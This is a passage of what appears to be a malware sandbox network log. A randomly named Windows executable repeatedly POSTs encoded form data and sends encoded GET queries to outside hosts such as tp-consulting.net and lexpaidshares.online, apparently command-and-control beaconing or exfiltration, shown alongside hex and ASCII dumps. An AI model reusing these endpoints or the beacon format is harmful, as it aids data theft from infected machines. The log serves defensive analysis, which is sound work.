Jul 9, 2024 12:10:22.168613911 CEST	1236	IN	Data Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4537" d="m 87.0625,123.03748 c 2.916637,10.42937 5.833458,20.8594 7.291964,26.66356 1.458505,5.80416 1.458505,6.98257 2.402021,11.11052 0.9435
Jul 9, 2024 12:10:22.168648958 CEST	672	IN	Data Raw: 39 35 35 34 30 37 2c 32 30 2e 31 34 32 31 38 20 2d 35 2e 30 37 34 39 37 35 2c 32 36 2e 30 33 34 38 33 20 2d 31 2e 31 31 39 35 36 38 2c 35 2e 38 39 32 36 34 20 2d 31 2e 35 39 30 39 32 2c 37 2e 37 37 38 30 35 20 2d 31 2e 38 38 35 37 30 38 2c 31 30 Data Ascii: 955407,20.14218 -5.074975,26.03483 -1.119568,5.89264 -1.59092,7.77805 -1.885708,10.07706 -0.294789,2.29901 -0.412567,5.0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.80379 2.415574,37.00049 3.712005,54.2
Jul 9, 2024 12:10:22.168808937 CEST	1236	IN	Data Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Jul 9, 2024 12:10:22.168839931 CEST	224	IN	Data Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4
Jul 9, 2024 12:10:22.173526049 CEST	1236	IN	Data Raw: 2e 36 37 31 35 37 31 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 72 78 3d 22 32 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 63 79 3d 22 32 33 38 2e 30 38 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 63 78 3d 22 31 31 39 2e 31 Data Ascii: .6715717" rx="2.5" cy="238.08525" cx="119.12262" id="path4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.0015747

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49748	5.252.229.221	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:27.367615938 CEST	838	OUT	POST /3ooi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.tp-consulting.net Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.tp-consulting.net Referer: http://www.tp-consulting.net/3ooi/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4a 74 78 53 64 48 46 61 2b 4f 59 4e 48 52 6e 61 76 4a 6e 31 57 46 36 53 39 73 77 63 34 4d 64 74 6f 4b 57 68 56 34 63 71 64 46 45 31 4b 32 68 38 6f 4a 34 72 36 47 52 45 66 67 48 4f 74 32 65 59 6a 75 36 75 31 33 66 66 4b 74 66 46 32 2f 67 42 37 70 79 37 52 39 78 55 57 68 4c 31 75 62 35 53 4c 64 39 33 2b 6d 6a 72 44 33 47 46 76 6a 30 44 79 2f 6a 34 2f 4a 6d 2f 30 48 4b 36 45 31 63 4b 70 73 2b 2f 78 41 50 78 4e 6d 2f 59 35 66 75 67 4d 47 2b 73 6b 53 6b 35 73 36 2f 59 66 4f 78 61 38 72 47 39 53 63 6e 56 74 52 79 43 47 4c 48 4e 54 71 42 37 6c 4b 6e 32 7a 6d 4d Data Ascii: lv-=4JtxSdHFa+OYNHRnavJn1WF6S9swc4MdtoKWhV4cqdFE1K2h8oJ4r6GREfgHOt2eYju6u13ffKtfF2/gB7py7R9xUWhL1ub5SLd93+mjrD3GFvj0Dy/j4/Jm/0HK6E1cKps+/xAPxNm/Y5fugMG+skSk5s6/YfOxa8rG9ScnVtRyCGLHNTqB7lKn2zmM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49749	5.252.229.221	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:29.937726974 CEST	862	OUT	POST /3ooi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.tp-consulting.net Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.tp-consulting.net Referer: http://www.tp-consulting.net/3ooi/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4a 74 78 53 64 48 46 61 2b 4f 59 4c 6d 68 6e 57 6f 6c 6e 7a 32 46 31 4d 74 73 77 4a 6f 4d 5a 74 6f 57 57 68 55 4e 5a 71 75 68 45 30 72 47 68 39 74 70 34 6f 36 47 52 63 76 67 43 45 4e 32 42 59 6a 6a 5a 75 78 7a 66 66 4b 70 66 46 79 37 67 41 49 78 31 37 42 39 7a 4d 6d 68 4e 37 4f 62 35 53 4c 64 39 33 2b 69 64 72 44 66 47 46 65 54 30 46 57 4c 67 37 2f 4a 70 34 30 48 4b 74 55 31 59 4b 70 74 4f 2f 77 63 78 78 4f 65 2f 59 39 58 75 68 5a 7a 6f 6c 6b 54 4f 6e 73 37 58 65 4f 76 74 56 2f 6e 7a 39 52 6c 47 48 73 63 52 49 48 72 5a 63 68 6a 61 75 79 4b 41 78 55 76 6b 59 6f 49 53 37 77 43 37 4a 30 67 39 76 4a 78 73 44 76 73 54 39 67 3d 3d Data Ascii: lv-=4JtxSdHFa+OYLmhnWolnz2F1MtswJoMZtoWWhUNZquhE0rGh9tp4o6GRcvgCEN2BYjjZuxzffKpfFy7gAIx17B9zMmhN7Ob5SLd93+idrDfGFeT0FWLg7/Jp40HKtU1YKptO/wcxxOe/Y9XuhZzolkTOns7XeOvtV/nz9RlGHscRIHrZchjauyKAxUvkYoIS7wC7J0g9vJxsDvsT9g==
Jul 9, 2024 12:10:30.593400955 CEST	360	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:30 GMT Server: Apache Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49750	5.252.229.221	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:32.518081903 CEST	1875	OUT	POST /3ooi/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.tp-consulting.net Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.tp-consulting.net Referer: http://www.tp-consulting.net/3ooi/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 34 4a 74 78 53 64 48 46 61 2b 4f 59 4c 6d 68 6e 57 6f 6c 6e 7a 32 46 31 4d 74 73 77 4a 6f 4d 5a 74 6f 57 57 68 55 4e 5a 71 75 70 45 31 5a 4f 68 38 4c 68 34 70 36 47 52 43 66 67 44 45 4e 32 4d 59 67 54 46 75 78 2f 50 66 50 31 66 45 52 6a 67 48 35 78 31 78 42 39 7a 46 47 68 49 31 75 61 39 53 50 35 35 33 2b 79 64 72 44 66 47 46 64 4c 30 43 43 2f 67 33 66 4a 6d 2f 30 48 47 36 45 31 67 4b 70 6b 32 2f 77 70 45 78 65 2b 2f 59 63 72 75 6d 76 66 6f 71 6b 53 6f 69 73 37 50 65 4f 6a 45 56 2f 37 42 39 52 67 6a 48 74 6f 52 49 78 71 6b 4d 54 33 63 31 77 65 43 36 7a 7a 50 65 74 35 32 2b 42 71 34 53 46 34 4c 6f 59 78 35 50 73 35 38 73 5a 36 4c 66 47 2b 6f 2b 61 32 56 67 48 73 6a 67 4d 66 50 49 63 73 4f 2f 36 6b 2f 4a 75 41 47 51 63 65 62 55 61 7a 34 36 70 72 42 2f 4f 36 69 49 6c 6f 73 36 4b 39 78 50 57 54 34 4f 79 34 43 51 6d 76 4e 72 42 65 49 50 41 45 73 53 2f 68 70 41 57 65 4c 4b 4c 6f 71 69 31 69 6e 4c 6f 32 64 34 65 39 47 79 5a 36 2b 43 45 46 35 38 42 79 4f 42 30 7a 6b 64 6c 52 6b 49 72 62 5a 49 77 [TRUNCATED] Data Ascii: lv-=4JtxSdHFa+OYLmhnWolnz2F1MtswJoMZtoWWhUNZqupE1ZOh8Lh4p6GRCfgDEN2MYgTFux/PfP1fERjgH5x1xB9zFGhI1ua9SP553+ydrDfGFdL0CC/g3fJm/0HG6E1gKpk2/wpExe+/YcrumvfoqkSois7PeOjEV/7B9RgjHtoRIxqkMT3c1weC6zzPet52+Bq4SF4LoYx5Ps58sZ6LfG+o+a2VgHsjgMfPIcsO/6k/JuAGQcebUaz46prB/O6iIlos6K9xPWT4Oy4CQmvNrBeIPAEsS/hpAWeLKLoqi1inLo2d4e9GyZ6+CEF58ByOB0zkdlRkIrbZIwxEHBWGxarPrErK46n/aRiF3Okr5GDPNVc59EqtbbfTJpnPzxzL3q4srbO0MkIN2dZuUKLZ/Fa0fyxl+8+v7cqy7sth/FJUR2tk1h6yGmzLUPDsoLf8ZdMAwkOAgHkdNMX+TSt8TENnsLNQGk/CBNxJ6+5+NediR/EuoMiWykVVSRCVfHRPFSq+/VjZNyoEQUJGxg/diLJvJOPQ4+Fc2m0TrsuH6zlfzEUT4cJcOCM6PlcbYIfM0TvlIyOahyhygWO2CEPbuncmiHZ3fGlg3brfFZx88SPZRffRdur9441+EtshcMsISJFcuvmf/gDEtDDLhVah+1iC6RJ1l7wBW76EWo7mgqmegmESCGAED9lqts5e8nGvmi/PfjgvVhBSDI2Qy42u2vvHus3RREEyPBJExMWteDqvU44uJBsQM8gDMawf875VnQxSXC3cujNGAOXLNTeUTmblIm7qHgo02XOA0HZQ83tBiQmaeszkjWAdDYaSKyx9/AGd14fFyvqGorcv6XXRa2JaDqXbkIvmuRtA5+TBjUYUImwB2hq9AEz+s9Z/QyTZ7ipuAw2UQPLiz3HMvI09jkFJBIJT+Fy+n5b3Jt7EKVqLdYUncJbVXfzy2BmKLN1KBPljdSB6e+zFoW0gzcogsMQ4xU6FOFmnjkMcSS1M8DE0PTCp [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49751	5.252.229.221	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:35.094050884 CEST	569	OUT	GET /3ooi/?lv-=1LFRRoLbVcSYXTZ6XdBa3kkSOtIcXt0xuK7G7zAfyuAyg5iI4oE5vIWxJ/ECDOK7eTrBqgzuJv49CznNGJBB0jFuKD1kyeaZBLZ0jvvkrC/dFa2PYg==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.tp-consulting.net Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:10:35.748955965 CEST	360	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:35 GMT Server: Apache Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49752	142.250.185.147	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:40.838975906 CEST	847	OUT	POST /93w6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.lexpaidshares.online Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.lexpaidshares.online Referer: http://www.lexpaidshares.online/93w6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 59 39 43 56 47 72 7a 41 47 69 65 50 34 32 2b 38 49 2b 72 6c 36 39 34 48 58 71 4e 50 53 53 4e 4f 2f 48 31 48 6b 78 69 74 75 4e 39 77 66 37 66 6f 76 31 47 68 39 31 78 56 71 57 46 51 4a 35 4d 50 6b 74 4f 53 4b 71 6b 64 38 51 73 45 48 53 4e 54 51 50 59 45 65 6b 6c 72 7a 4f 6e 78 6d 38 62 39 71 43 4c 65 6f 6d 62 6c 31 67 5a 42 2f 62 41 4f 6f 70 72 39 5a 70 30 37 58 38 72 64 76 55 50 42 55 46 2b 7a 76 76 61 56 59 70 71 53 71 4d 6f 37 31 77 37 36 4b 41 7a 51 4f 39 64 75 46 39 52 44 75 49 54 31 4a 74 2b 63 70 2b 54 75 72 75 79 5a 44 55 69 43 42 69 5a 79 73 4c 63 30 Data Ascii: lv-=Y9CVGrzAGieP42+8I+rl694HXqNPSSNO/H1HkxituN9wf7fov1Gh91xVqWFQJ5MPktOSKqkd8QsEHSNTQPYEeklrzOnxm8b9qCLeombl1gZB/bAOopr9Zp07X8rdvUPBUF+zvvaVYpqSqMo71w76KAzQO9duF9RDuIT1Jt+cp+TuruyZDUiCBiZysLc0
Jul 9, 2024 12:10:41.589036942 CEST	410	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 09 Jul 2024 10:10:41 GMT Location: https://www.lexpaidshares.online/93w6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49753	142.250.185.147	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:43.430684090 CEST	871	OUT	POST /93w6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.lexpaidshares.online Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.lexpaidshares.online Referer: http://www.lexpaidshares.online/93w6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 59 39 43 56 47 72 7a 41 47 69 65 50 37 57 69 38 4b 64 44 6c 72 4e 34 49 5a 4b 4e 50 4a 43 4e 4b 2f 48 35 48 6b 77 57 48 75 2f 70 77 65 61 76 6f 75 30 47 68 2b 31 78 56 34 32 46 56 57 70 4d 45 6b 74 43 61 4b 71 6f 64 38 52 49 45 48 54 39 54 51 38 77 4c 50 6b 6c 54 2f 75 6e 76 72 63 62 39 71 43 4c 65 6f 6d 6e 4c 31 67 42 42 2f 72 77 4f 71 4e 2f 2b 66 5a 30 34 41 4d 72 64 35 6b 50 46 55 46 2b 52 76 71 37 77 59 72 53 53 71 4e 59 37 31 46 58 35 44 41 79 36 4b 39 63 6c 41 34 6b 32 70 37 44 54 48 64 53 67 33 74 33 57 68 76 53 48 53 6d 72 5a 55 31 5a 56 72 73 56 63 68 41 52 56 70 4f 59 38 6d 6a 4e 76 6e 4f 48 44 70 62 48 73 52 51 3d 3d Data Ascii: lv-=Y9CVGrzAGieP7Wi8KdDlrN4IZKNPJCNK/H5HkwWHu/pweavou0Gh+1xV42FVWpMEktCaKqod8RIEHT9TQ8wLPklT/unvrcb9qCLeomnL1gBB/rwOqN/+fZ04AMrd5kPFUF+Rvq7wYrSSqNY71FX5DAy6K9clA4k2p7DTHdSg3t3WhvSHSmrZU1ZVrsVchARVpOY8mjNvnOHDpbHsRQ==
Jul 9, 2024 12:10:44.154918909 CEST	410	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 09 Jul 2024 10:10:44 GMT Location: https://www.lexpaidshares.online/93w6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49754	142.250.185.147	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:46.092117071 CEST	1884	OUT	POST /93w6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.lexpaidshares.online Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.lexpaidshares.online Referer: http://www.lexpaidshares.online/93w6/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 59 39 43 56 47 72 7a 41 47 69 65 50 37 57 69 38 4b 64 44 6c 72 4e 34 49 5a 4b 4e 50 4a 43 4e 4b 2f 48 35 48 6b 77 57 48 75 2b 52 77 66 73 37 6f 6f 58 2b 68 77 56 78 56 37 32 46 55 57 70 4d 5a 6b 75 79 65 4b 71 55 6e 38 54 41 45 48 78 46 54 48 64 77 4c 47 6b 6c 54 33 4f 6e 79 6d 38 62 53 71 44 37 61 6f 6d 58 4c 31 67 42 42 2f 6f 34 4f 75 5a 72 2b 45 5a 30 37 58 38 72 5a 76 55 50 74 55 46 33 73 76 71 32 46 59 34 61 53 71 74 49 37 6d 44 44 35 4d 41 79 34 4e 39 63 32 41 34 67 66 70 37 65 6f 48 64 6d 47 33 74 50 57 68 71 7a 62 4e 46 33 2f 48 57 70 78 39 63 6c 58 6d 48 6c 6d 69 36 68 4c 6d 6d 4e 76 2f 75 79 33 39 2f 47 42 48 52 70 55 55 6f 73 6a 41 31 44 4f 61 68 7a 55 5a 6c 4c 65 31 49 7a 5a 45 52 37 32 46 57 79 5a 37 7a 34 58 59 36 75 2b 57 53 52 65 6d 47 30 56 4f 51 66 31 41 75 34 76 46 51 74 4e 36 38 46 72 64 47 37 47 4d 4c 54 38 6d 65 4f 53 77 73 71 45 6f 77 5a 6e 54 73 44 47 65 62 47 54 70 68 57 76 54 67 67 37 57 45 58 79 74 6c 4f 61 45 76 79 71 62 59 4d 63 64 75 53 4a 6f 6f 6c 51 46 78 [TRUNCATED] Data Ascii: lv-=Y9CVGrzAGieP7Wi8KdDlrN4IZKNPJCNK/H5HkwWHu+Rwfs7ooX+hwVxV72FUWpMZkuyeKqUn8TAEHxFTHdwLGklT3Onym8bSqD7aomXL1gBB/o4OuZr+EZ07X8rZvUPtUF3svq2FY4aSqtI7mDD5MAy4N9c2A4gfp7eoHdmG3tPWhqzbNF3/HWpx9clXmHlmi6hLmmNv/uy39/GBHRpUUosjA1DOahzUZlLe1IzZER72FWyZ7z4XY6u+WSRemG0VOQf1Au4vFQtN68FrdG7GMLT8meOSwsqEowZnTsDGebGTphWvTgg7WEXytlOaEvyqbYMcduSJoolQFx37ENlavDePDzvZ+h9W8M8I/zs5ZT9GOWg481+qpxXrVEmJ/vXc7CwS8TYEbi81oFCJjHkuGMy9buawpf2Y6moe/tc06r6I4G+lxSbhqMvgFijoKgjEnA8Le0VgAIxBgi5L+vsR28TQ67LgG8Tti16TNuvt+fjb9M0Qy0ZvgXNutwV778FkW372vFjRe8I247yX0PnNueKoCB6BpK9042m2x9oL9PNAWqnFvQp3ZR706SiYOeO4DsPl1d9eLxEOEvxwsJ2GY37D+CkPiFAXerKDjKy0RHvXKugoFrW/7HPOu9e2GSzgaZ8ye7TQe0bkGzXIChlL9xZ06O3URaFMutFVJtxSWkNaP4J5KXt8lOf2nppY1UJr7mRvLPuNsA3jXB6hlKXoVvrek60l2pNU1SqbYYXsHs8whoqGBLhxeAPuKz415j3h6o4yWTGVcThCw28EU8GwTuCFCrzQ340U0KSMTf6fFPpRRky8tw+uF7sKQpGqpvXgrGCaR7wbCoi2aEYZh1yephUmxZOXzoTedIRivkZON1+Pu8MEoN9bGZO96dcma6k1HcCsOeSRpHrgnxvkRClXcsyyoCLUbbh69Q3QKwGRdtLXAiZPqa0L8znyaLoOXLOsxu/mPyP8v+J2C3uH2M6RxrzSbq2U3aLbL0VS9T9TS9l3wpDr [TRUNCATED]
Jul 9, 2024 12:10:46.793827057 CEST	410	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 09 Jul 2024 10:10:46 GMT Location: https://www.lexpaidshares.online/93w6/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49755	142.250.185.147	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:48.702397108 CEST	572	OUT	GET /93w6/?lv-=V/q1FcXKAyKh7SGyOejAnJ1gdaJ4XypCrXBTkGu72NAGD53UqF3q83lE5VJRfawQqtKzEaQzvnU+DANXYfAkHXtawOjKvPvgjxfsrSG69BVdxcUkzQ==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.lexpaidshares.online Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:10:49.407016039 CEST	549	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 09 Jul 2024 10:10:49 GMT Location: https://www.lexpaidshares.online/93w6/?lv-=V/q1FcXKAyKh7SGyOejAnJ1gdaJ4XypCrXBTkGu72NAGD53UqF3q83lE5VJRfawQqtKzEaQzvnU+DANXYfAkHXtawOjKvPvgjxfsrSG69BVdxcUkzQ%3D%3D&GJtTF=-FH8yJw Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49756	185.181.104.242	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
